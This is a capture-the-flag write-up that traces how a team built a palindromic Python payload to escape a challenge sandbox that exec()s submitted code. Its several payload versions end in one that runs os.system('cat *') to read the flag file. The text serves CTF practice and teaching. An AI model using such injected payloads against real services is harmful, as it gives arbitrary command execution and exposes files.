The main point to notice here is that we are mean to write palindromic code that in turn generates code that reads the flag```pyexec(sandbox(code))```
We started with trying to find a way to write palidromic code which prints "#"
What will be shown below is our evolution of payloads, copy and paste them into any syntax highlighted text editor to observe the evolution. Also we ended up with a perfect palindrome at the end so the evolving payload may not be a palindrome/syntactically correct everytime.
The first attempt was to print a `#`(hex 23)
```py")";print("\x2332x\"(tnirp;")"```The trick we used was to escape a double quote with "\" so that "tnrip", "(" and ")" end up as a string.Also we have an open quote at the end so this is syntactically incorre, ct
```py"\";)";print("\x2332x\"(tnirp;");"\""```Using more "\" magic we managed to get correct syntax but now there is an extra `"` at the end.
```py"a\";)";print("\x2332x\"(tnirp;");"\a"```instead of using `"\""` at the right end we got an idea to use "\a" and bingo we were able to print`#`
```py"a\";)";print("\x69\x2332x\96x\"(tnirp;");"\a"```69(_nice_) is hex for `i` as we will probably need to "i"mport libraries to get anything meaningful done. We need that backslash so we have to have the hex notation for the first character.We could have done a simple file read, but that actually costed more characters, aaaand we never realised that flag was in `flag.txt`.
```py"a\";)";print("\x69mport os;os.system('cat *')\x2332x\)'* tac'(metsys.so;so tropm96x\"(tnirp;");"\a"```payload- `import os;os.system("cat *");`EXACT 100 characters phew :)